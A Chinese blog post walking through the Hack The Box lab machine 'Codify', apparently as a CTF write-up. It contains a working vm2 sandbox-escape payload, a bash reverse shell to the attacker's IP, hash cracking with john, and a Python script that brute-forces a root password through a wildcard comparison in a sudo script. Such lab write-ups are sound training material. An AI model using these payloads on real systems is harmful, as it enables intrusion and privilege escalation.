HTB靶场-Codify

  • 本人自己的打靶记录,会有错误的地方,尽情谅解,欢迎指出错误和不解的地方,让我们共同进步!

在这里插入图片描述

信息收集

端口扫描

nmap -sV 10.10.11.239

在这里插入图片描述
22,80端口开放
访问80端口发现需要host绑定

sudo vi /etc/hosts

在这里插入图片描述
页面显示是node.js的沙箱
在这里插入图片描述
点击Try it now进入到编辑页面
在这里插入图片描述

nodejs沙箱逃逸漏洞

搜索node.js沙箱的漏洞发现一个沙箱逃逸漏洞

const { VM } = require("vm2");
const vm = new VM();

const code = `
  const err = new Error();
  err.name = {
    toString: new Proxy(() => "", {
      apply(target, thiz, args) {
        const process = args.constructor.constructor("return process")();
        throw process.mainModule.require("child_process").execSync("whoami").toString();
      },
    }),
  };
  try {
    err.stack;
  } catch (stdout) {
    stdout;
  }
`;
console.log(vm.run(code)); // -> hacked

在这里插入图片描述

反弹shell

bash -c 'bash -i >& /dev/tcp/10.10.14.27/2345 0>&1

在这里插入图片描述
在/var/www/contact下面发现了一个数据库文件
在这里插入图片描述
打开tickets.db
在这里插入图片描述
发现了joshua用户的密码
把hash值保存在hash.txt中
在这里插入图片描述
进行破解hash值

john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt

在这里插入图片描述

注意:有的kali里面没有wordlists文件,需要我们进行下载

ssh连接

使用ssh进行登录

ssh joshua@10.10.11.239
在输入密码

取得user的flag

在这里插入图片描述

提权

sudo -l

在这里插入图片描述
发现有一个文件可以运行
打开文件进行查看
在这里插入图片描述
这里出现了问题

  • 脚本的这一部分将用户提供的密码 (USER_PASS) 与实际数据库密码 (DB_PASS) 进行弱比较
  • 执行模式匹配而不是直接字符串比较

所以可以使用脚本进行模糊匹配

import string
import subprocess
 
all = list(string.ascii_letters + string.digits)  # 创建包含所有字母和数字的字符列表
password = ""  # 初始化密码为空字符串
found = False  # 初始化 found 变量为 False,表示密码尚未找到
 
while not found:
    for character in all:
        # 构建要执行的命令
        command = f"echo '{password}{character}*' | sudo /opt/scripts/mysql-backup.sh"
        
        # 使用 subprocess.run 执行命令,并获取标准输出
        output = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True).stdout
 
        # 如果输出包含 "Password confirmed!" 字符串,表示密码中的字符是正确的
        if "Password confirmed!" in output:
            password += character  # 将当前字符添加到密码中
            print(password)  # 打印当前破解出的密码
            break  # 跳出字符循环,继续下一个字符的尝试
    else:
        found = True  # 如果 for 循环正常结束,表示已找到密码的所有字符
 
# 循环结束后,输出找到的密码
print("Found Password:", password)

脚本是借助大佬写好的,因为代码能力有限只能先做一个脚本小子
创建一个py文件
在这里插入图片描述
执行文件,得到密码
在这里插入图片描述
进行root登录
在这里插入图片描述

总结

  1. 通过node.js的沙箱逃逸漏洞进行gatshell
  2. 在/var/www/contact下发现数据库文件,拿到用户名和密码
  3. ssh连接后取得普通用户的flag
  4. 通过可执行文件进行提权,拿到root的密码

参考文章

nodejs沙箱逃逸漏洞:https://blog.csdn.net/m0_66859164/article/details/132408835

  • 18
    点赞
  • 19
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值